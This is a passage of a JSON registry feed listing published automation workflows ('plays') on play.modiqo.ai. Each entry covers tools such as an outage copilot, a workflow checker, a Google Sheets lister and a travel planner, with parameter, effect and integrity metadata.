check","example":"https://example.com"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:666a7f202bf06937161c60384cd8cb846a5bff752bcf3070d6cda2ba5a353b7a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/askme/oncall-outage-copilot@0.1.0","reference":"askme/oncall-outage-copilot@0.1.0","uri":"https://play.modiqo.ai/askme/oncall-outage-copilot@0.1.0","manifest_uri":"https://play.modiqo.ai/askme/oncall-outage-copilot@0.1.0","name":"oncall-outage-copilot","title":"oncall-outage-copilot","description":"When an outage hits, this Play fetches the latest Sentry/PagerDuty alerts, matches them with the last 5 GitHub PRs, and asks an LLM to find the culprit.","owner":{"kind":"user","slug":"askme"},"registry_organization":"askme","tags":[],"primary_domain":"domain-uncategorized","author":"askme","version":"0.1.0","published_at":"2026-09-03T09:26:09.786292+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":4069,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":0,"names":[]},"parameters":[{"name":"repo","type":"string","required":true,"description":"GitHub repository (e.g. 'owner/repo')"},{"name":"github_token","type":"string","required":false,"default":"","description":"Optional GitHub token (or sets GITHUB_TOKEN)"},{"name":"api_key","type":"string","required":false,"default":"","description":"OpenAI API Key for LLM summarization"},{"name":"sentry_token","type":"string","required":false,"default":"","description":"Sentry API token for fetching issues"},{"name":"sentry_org","type":"string","required":false,"default":"","description":"Sentry Organization slug"},{"name":"sentry_project","type":"string","required":false,"default":"","description":"Sentry Project slug"},{"name":"slack_webhook","type":"string","required":false,"default":"","description":"Optional Slack webhook URL for alerts"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:fbc8aa38e63f6acb70e155219f0d939e5aaa080d3229b059bbd5ea5ff7c24d39","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":0,"kinds":{"api":0,"shell":0,"browser":0,"auth":0,"other":0},"distinct_kinds":0,"depth":0,"width":0,"fan_out":0,"for_each_steps":0,"complexity":0,"apis":[],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/srinjoy356/check-failing-workflows@0.1.0","reference":"srinjoy356/check-failing-workflows@0.1.0","uri":"https://play.modiqo.ai/srinjoy356/check-failing-workflows@0.1.0","manifest_uri":"https://play.modiqo.ai/srinjoy356/check-failing-workflows@0.1.0","name":"check-failing-workflows","title":"check-failing-workflows","description":"","owner":{"kind":"user","slug":"srinjoy356"},"registry_organization":"srinjoy356","tags":[],"primary_domain":"domain-uncategorized","author":"srinjoy356","version":"0.1.0","published_at":"2026-09-02T23:03:56.448918+00:00","visibility":"public","quality_score":0.400000005960464,"size_bytes":1490,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["curl"]},"parameters":[{"name":"owner","type":"string","required":true,"description":"Play parameter"},{"name":"repo","type":"string","required":true,"description":"Play parameter"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4d03ab2c2015131e827b09529809d461d6bef91aab859cc94da938aa0d60f5e2","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"curl","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/rameshwar/meeting-action-tracker@0.1.1","reference":"rameshwar/meeting-action-tracker@0.1.1","uri":"https://play.modiqo.ai/rameshwar/meeting-action-tracker@0.1.1","manifest_uri":"https://play.modiqo.ai/rameshwar/meeting-action-tracker@0.1.1","name":"meeting-action-tracker","title":"meeting-action-tracker","description":"Convert text into a concise action and decision report.","owner":{"kind":"org","slug":"rameshwar"},"registry_organization":"rameshwar","tags":[],"primary_domain":"domain-uncategorized","author":"rameshwar","version":"0.1.1","published_at":"2026-09-02T18:43:39.545085+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":3484,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":2,"names":["analyze","validate"]},"parameters":[{"name":"text","type":"string","required":true,"description":"Text to analyze"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a535289d294e073815a8d07238f2ba9e3192cdda9c6e4b6b414b5f6ff994d320","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/cheersaman1/rl-signal-detection@1.0.0","reference":"cheersaman1/rl-signal-detection@1.0.0","uri":"https://play.modiqo.ai/cheersaman1/rl-signal-detection@1.0.0","manifest_uri":"https://play.modiqo.ai/cheersaman1/rl-signal-detection@1.0.0","name":"rl-signal-detection","title":"rl-signal-detection","description":"Detect PPO/GRPO policy collapse, exploration death, and reward crashes with deterministic threshold citations.","owner":{"kind":"user","slug":"cheersaman1"},"registry_organization":"cheersaman1","tags":[],"primary_domain":"domain-uncategorized","author":"cheersaman1","version":"1.0.0","published_at":"2026-09-02T18:33:25.279545+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":2076,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["rl_signal_detect"]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:7ac189790f34728b7f62b654e2dea3baf4df8746929bcca0f524acda3935fabb","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/shreyas/why-did-this-break@0.1.0","reference":"shreyas/why-did-this-break@0.1.0","uri":"https://play.modiqo.ai/shreyas/why-did-this-break@0.1.0","manifest_uri":"https://play.modiqo.ai/shreyas/why-did-this-break@0.1.0","name":"why-did-this-break","title":"why-did-this-break","description":"Bounded-transition metadata forensics for finding time-aligned changes between a last-known-good and first-observed-broken state.","owner":{"kind":"user","slug":"shreyas"},"registry_organization":"shreyas","tags":["forensics","read-only","transition-analysis","git","privacy"],"primary_domain":"domain-uncategorized","author":"Shreuas2020","version":"0.1.0","published_at":"2026-09-02T17:03:41.673568+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":21309,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["analyze"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Repository or project root to analyze."},{"name":"last_known_good","type":"string","required":true,"description":"RFC3339 timestamp for the last known-good state."},{"name":"first_observed_broken","type":"string","required":true,"description":"RFC3339 timestamp for the first observed broken state."},{"name":"timezone","type":"string","required":true,"default":"UTC","description":"Timezone used when interpreting local metadata."},{"name":"local_trace_mode","type":"string","required":true,"default":"off","description":"Local trace collection mode: off or metadata."},{"name":"include_git","type":"string","required":true,"default":"true","description":"Include Git history and ref evidence."},{"name":"include_worktree","type":"string","required":true,"default":"true","description":"Include current worktree metadata."},{"name":"include_filesystem","type":"string","required":true,"default":"true","description":"Include filesystem metadata."},{"name":"include_dependency_metadata","type":"string","required":true,"default":"true","description":"Include dependency manifest and lockfile metadata."},{"name":"include_config_structure","type":"string","required":true,"default":"true","description":"Include configuration structure metadata without reading secret values."},{"name":"max_candidates","type":"string","required":true,"default":"10","description":"Maximum number of candidate changes to return."},{"name":"path_redaction","type":"string","required":true,"default":"relative","description":"Path presentation mode; use relative for privacy."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:fc7b211d265708a91fcf64486a305e966030ea44559eda0910c511be07c6a171","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/whintyr/ml-repository-due-diligence@0.0.1","reference":"whintyr/ml-repository-due-diligence@0.0.1","uri":"https://play.modiqo.ai/whintyr/ml-repository-due-diligence@0.0.1","manifest_uri":"https://play.modiqo.ai/whintyr/ml-repository-due-diligence@0.0.1","name":"ml-repository-due-diligence","title":"ml-repository-due-diligence","description":"Investigate a public ML/AI GitHub repository and produce an evidence-backed use, reproduction, and research-value verdict.","owner":{"kind":"user","slug":"whintyr"},"registry_organization":"whintyr","tags":["typescript","github"],"primary_domain":"domain-uncategorized","author":"whintyr","version":"0.0.1","published_at":"2026-09-02T16:48:01.251133+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":2460,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":6,"names":["releases","source_model","repository_tree","source_pipeline","repository_claims","repository_metadata"]},"parameters":[{"name":"owner","type":"string","required":true,"description":"GitHub repository owner"},{"name":"repo","type":"string","required":true,"description":"GitHub repository name"}],"execution":{"adapters":[{"id":"whintyr/github","name":"github","version":null,"credential_status":"none"},{"id":"github","name":"github","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:9253f2b726bff6cbfc04acab1c94c40d4f3bef17c13f3d9094d08ac0541f6011","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":6,"shell":0,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":6,"fan_out":0,"for_each_steps":0,"complexity":6,"apis":[{"adapter":"github","steps":6,"methods":["repos/get","repos/get-content","repos/get-readme","repos/list-releases"],"display_name":"github","host":"api.github.com","kind":"rest","tools":1127,"fingerprint":"mcp_uogxetWJ9s2mSDiBKftmvwkDfu","source":"whintyr/github","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":1127},"cost":{"api_tokens":52002,"context_tokens":5557,"exploration_ms":7403,"saved_per_run":null},"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/mindcraft/mindcraft-3d-game-forge@0.0.1","reference":"mindcraft/mindcraft-3d-game-forge@0.0.1","uri":"https://play.modiqo.ai/mindcraft/mindcraft-3d-game-forge@0.0.1","manifest_uri":"https://play.modiqo.ai/mindcraft/mindcraft-3d-game-forge@0.0.1","name":"mindcraft-3d-game-forge","title":"mindcraft-3d-game-forge","description":"Regenerates the current MindCraft 3D game from its design and runs the self-healing browser playtest.","owner":{"kind":"user","slug":"mindcraft"},"registry_organization":"mindcraft","tags":["mindcraft","game","3d","playtest"],"primary_domain":"domain-uncategorized","author":"mindcraft","version":"0.0.1","published_at":"2026-09-02T09:34:39.880915+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":1805,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":2,"names":["forge_game","playtest_and_self_heal"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to the MindCraft project root"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:f9e941c0514518b5e41950b3dab72bb1cffe6241086f24cb34991a712624b0e7","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/nitishmane/spark-fleet-health@1.0.1","reference":"nitishmane/spark-fleet-health@1.0.1","uri":"https://play.modiqo.ai/nitishmane/spark-fleet-health@1.0.1","manifest_uri":"https://play.modiqo.ai/nitishmane/spark-fleet-health@1.0.1","name":"spark-fleet-health","title":"spark-fleet-health","description":"Checks a local LLM dev backend's fleet readiness: whether claude-code-router is running, whether the model host is reachable via Ollama or llama-server, which models are loaded, and a combined READY/NOT READY verdict. Read-only, no credentials, no adapters.","owner":{"kind":"user","slug":"nitishmane"},"registry_organization":"nitishmane","tags":["spark","ollama","health-check","dev-tooling","shell","typescript"],"primary_domain":"domain-uncategorized","author":"nitishmane","version":"1.0.1","published_at":"2026-09-01T23:00:24.363412+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":3701,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":3,"names":["check_ccr","check_spark","combine_verdict"]},"parameters":[{"name":"host","type":"string","required":false,"default":"localhost","description":"Hostname of the machine serving models (Ollama on :11434 or llama-server on :8080)."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2fe3884b21c4f5b71d4c41bc66e1253349d861bdf9e92bbda5cd2b5778641e7a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/diogoribeirodev/telegram-poster@0.2.0","reference":"diogoribeirodev/telegram-poster@0.2.0","uri":"https://play.modiqo.ai/diogoribeirodev/telegram-poster@0.2.0","manifest_uri":"https://play.modiqo.ai/diogoribeirodev/telegram-poster@0.2.0","name":"telegram-poster","title":"telegram-poster","description":"Post content to Telegram with text, optional media, and optional scheduling","owner":{"kind":"user","slug":"diogoribeirodev"},"registry_organization":"diogoribeirodev","tags":["telegram","social-media","posting","messaging"],"primary_domain":"domain-uncategorized","author":"diogoribeirodev","version":"0.2.0","published_at":"2026-09-01T21:33:15.168032+00:00","visibility":"public","quality_score":0.550000011920929,"size_bytes":2639,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["create_post"]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:854649fef317ea5470a1df220252d2ad725c3cf29824035eef9b0c74c93609d5","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1},{"name":"zernio.com","kind":"host","source":"inferred","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rusty-chirag/list-google-sheets@0.1.0","reference":"rusty-chirag/list-google-sheets@0.1.0","uri":"https://play.modiqo.ai/rusty-chirag/list-google-sheets@0.1.0","manifest_uri":"https://play.modiqo.ai/rusty-chirag/list-google-sheets@0.1.0","name":"list-google-sheets","title":"list-google-sheets","description":"Lists Google Sheets spreadsheets in your Google account with title, ID, modified time, and web URL.","owner":{"kind":"user","slug":"rusty-chirag"},"registry_organization":"rusty-chirag","tags":["domain-workplace","workplace-automation","tool-google-sheets","tool-google-drive","effect-read-only"],"primary_domain":"domain-workplace","author":"rusty-chirag","version":"0.1.0","published_at":"2026-08-31T23:53:16.631675+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":2727,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":2,"names":["list_sheets","auth_drive_api_v3"]},"parameters":[{"name":"page_size","type":"integer","required":false,"default":50,"description":"Maximum number of Google Sheets to retrieve (1-100)"}],"execution":{"adapters":[{"id":"rusty-chirag/drive-api-v3","name":"drive-api-v3","version":null,"credential_status":"required"},{"id":"drive-api-v3","name":"drive-api-v3","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c69a60f76888acde9a0ca983dc285fefa797643e5c48cee9963c1b43ecd3cc17","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":1,"shell":0,"browser":0,"auth":1,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[{"adapter":"drive-api-v3","steps":2,"methods":["drive.files.list"],"display_name":"drive-api-v3","host":"www.googleapis.com/drive/v3","kind":"rest","tools":64,"fingerprint":"mcp_3UQDDhmTBeFaP8EL8T1PbpBTLNDu","source":"rusty-chirag/drive-api-v3","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":64},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/robpumpaf/axiom-pippin-error-investigator@0.1.0","reference":"robpumpaf/axiom-pippin-error-investigator@0.1.0","uri":"https://play.modiqo.ai/robpumpaf/axiom-pippin-error-investigator@0.1.0","manifest_uri":"https://play.modiqo.ai/robpumpaf/axiom-pippin-error-investigator@0.1.0","name":"axiom-pippin-error-investigator","title":"axiom-pippin-error-investigator","description":"Investigates a Pippin Discord error ID in Axiom, resolves its trace, and reports Discord API failures and the likely failed source message.","owner":{"kind":"user","slug":"robpumpaf"},"registry_organization":"robpumpaf","tags":[],"primary_domain":"domain-uncategorized","author":"ivans","version":"0.1.0","published_at":"2026-07-23T08:01:06.595988+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":3526,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":0,"names":[]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:adff87ea90b0d8ca6835290c655059ac38d03b24f33b995d38007aed31aa0b95","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":0,"kinds":{"api":0,"shell":0,"browser":0,"auth":0,"other":0},"distinct_kinds":0,"depth":0,"width":0,"fan_out":0,"for_each_steps":0,"complexity":0,"apis":[],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":3},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/pumpurlabs/github-actions-workflow-dispatch@0.0.1","reference":"pumpurlabs/github-actions-workflow-dispatch@0.0.1","uri":"https://play.modiqo.ai/pumpurlabs/github-actions-workflow-dispatch@0.0.1","manifest_uri":"https://play.modiqo.ai/pumpurlabs/github-actions-workflow-dispatch@0.0.1","name":"github-actions-workflow-dispatch","title":"github-actions-workflow-dispatch","description":"Dispatch a GitHub Actions workflow_dispatch run with optional inputs and return the run URL","owner":{"kind":"org","slug":"pumpurlabs"},"registry_organization":"pumpurlabs","tags":[],"primary_domain":"domain-uncategorized","author":"Roberts Pumpurs","version":"0.0.1","published_at":"2026-06-30T11:02:52.303366+00:00","visibility":"public","quality_score":null,"size_bytes":3459,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":0,"names":[]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:bc16433cf0258d24d46bf0863faa9e475775c6058d9e735798f2fb276d5ba30b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":0,"kinds":{"api":0,"shell":0,"browser":0,"auth":0,"other":0},"distinct_kinds":0,"depth":0,"width":0,"fan_out":0,"for_each_steps":0,"complexity":0,"apis":[],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":1194},"cost":{"api_tokens":10366,"context_tokens":1259,"exploration_ms":3218,"saved_per_run":11625},"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/rishabhyadav0227/project-readme-generator@0.1.0","reference":"rishabhyadav0227/project-readme-generator@0.1.0","uri":"https://play.modiqo.ai/rishabhyadav0227/project-readme-generator@0.1.0","manifest_uri":"https://play.modiqo.ai/rishabhyadav0227/project-readme-generator@0.1.0","name":"project-readme-generator","title":"project-readme-generator","description":"Inspect a small web project's source files and generate a professional README.md covering title, description, features, technologies, run instructions, usage, project structure, and future improvements. Secrets and credential files are detected and never exposed.","owner":{"kind":"user","slug":"rishabhyadav0227"},"registry_organization":"rishabhyadav0227","tags":["documentation","readme","web","code-generation","effect-write"],"primary_domain":"domain-uncategorized","author":"rishabhyadav0227","version":"0.1.0","published_at":"2026-09-06T14:51:13.000386+00:00","visibility":"public","quality_score":0.875,"size_bytes":5954,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":1,"names":["generate_readme"]},"parameters":[{"name":"project_dir","type":"string","required":true,"description":"Absolute path to the root of the web project to document"},{"name":"readme_path","type":"string","required":false,"description":"Destination path for the generated README (default: <project_dir>/README.md)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:31ce5ae056cfe87ddde3eb9d78521419d011a9a50531b2c85ffba496eb5bdb0d","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/nehars-rs/ai-travel-deal-planner@0.1.0","reference":"nehars-rs/ai-travel-deal-planner@0.1.0","uri":"https://play.modiqo.ai/nehars-rs/ai-travel-deal-planner@0.1.0","manifest_uri":"https://play.modiqo.ai/nehars-rs/ai-travel-deal-planner@0.1.0","name":"ai-travel-deal-planner","title":"ai-travel-deal-planner","description":"Researches and compares real trip options against a traveler's actual constraints (origin, destination or type, dates, travelers, budget, preferences), eliminates options that violate hard constraints, calculates estimated total cost, ranks the best 3 with trade-offs, and builds a day-by-day itinerary. Supports refinement from a previous run when a constraint changes.","owner":{"kind":"org","slug":"nehars-rs"},"registry_organization":"nehars-rs","tags":["travel","trip-planning","research","claude"],"primary_domain":"domain-uncategorized","author":"Nehars Rs","version":"0.1.0","published_at":"2026-09-06T14:43:54.719683+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":11262,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["scout","decide","research_candidates"]},"parameters":[{"name":"origin","type":"string","required":true,"description":"Departure city or airport"},{"name":"destination","type":"string","required":true,"description":"A specific destination, or a description of the desired destination type (e.g. \"beach destination within 4 hours\" or \"open to suggestions in Southeast Asia\")"},{"name":"dates","type":"string","required":true,"description":"Fixed travel dates, or a description of flexible dates and trip length (e.g. \"flexible, sometime in November, 4 days\")"},{"name":"travelers","type":"string","required":true,"description":"Number of travelers and composition if relevant (e.g. \"2 adults\")"},{"name":"budget","type":"string","required":true,"description":"Budget with currency, stated as total or per-person (e.g. \"S$700 per person total\")"},{"name":"flight_preferences","type":"string","required":false,"default":"","description":"Flight preferences, e.g. direct only, preferred airlines, cabin class"},{"name":"hotel_preferences","type":"string","required":false,"default":"","description":"Hotel preferences, e.g. rating, location, amenities"},{"name":"activities_interests","type":"string","required":false,"default":"","description":"Activities and interests, e.g. good food, sightseeing, nightlife, nature"},{"name":"transport_preferences","type":"string","required":false,"default":"","description":"Local transport preferences, e.g. public transit, walkable, private transfers"},{"name":"can_drive","type":"string","required":false,"default":"","description":"Whether the traveler can or wants to drive (e.g. \"no\", \"yes\", \"prefer not to\")"},{"name":"pace","type":"string","required":false,"default":"","description":"Preferred pace, e.g. relaxed, packed, moderate"},{"name":"must_see","type":"string","required":false,"default":"","description":"Specific places or attractions that must be included"},{"name":"trip_style","type":"string","required":false,"default":"","description":"Tour vs independent travel preference"},{"name":"other_constraints","type":"string","required":false,"default":"","description":"Any other important constraints not covered above"},{"name":"previous_results_file","type":"string","required":false,"default":"","description":"Path to a previous run's result JSON (from out.result), for refining a plan after a constraint changes. Leave unset for a fresh search."},{"name":"model","type":"string","required":false,"default":"claude-sonnet-4-5","description":"Claude model id used for research and reasoning"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:638f7c426bb87f31c3f5dbff9f095229b85297263bcec0e6846a410690d88fcb","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":3,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sadiqqx/pr-risk-analyzer-play@0.1.0","reference":"sadiqqx/pr-risk-analyzer-play@0.1.0","uri":"https://play.modiqo.ai/sadiqqx/pr-risk-analyzer-play@0.1.0","manifest_uri":"https://play.modiqo.ai/sadiqqx/pr-risk-analyzer-play@0.1.0","name":"pr-risk-analyzer-play","title":"pr-risk-analyzer-play","description":"Automated PR risk and impact analysis 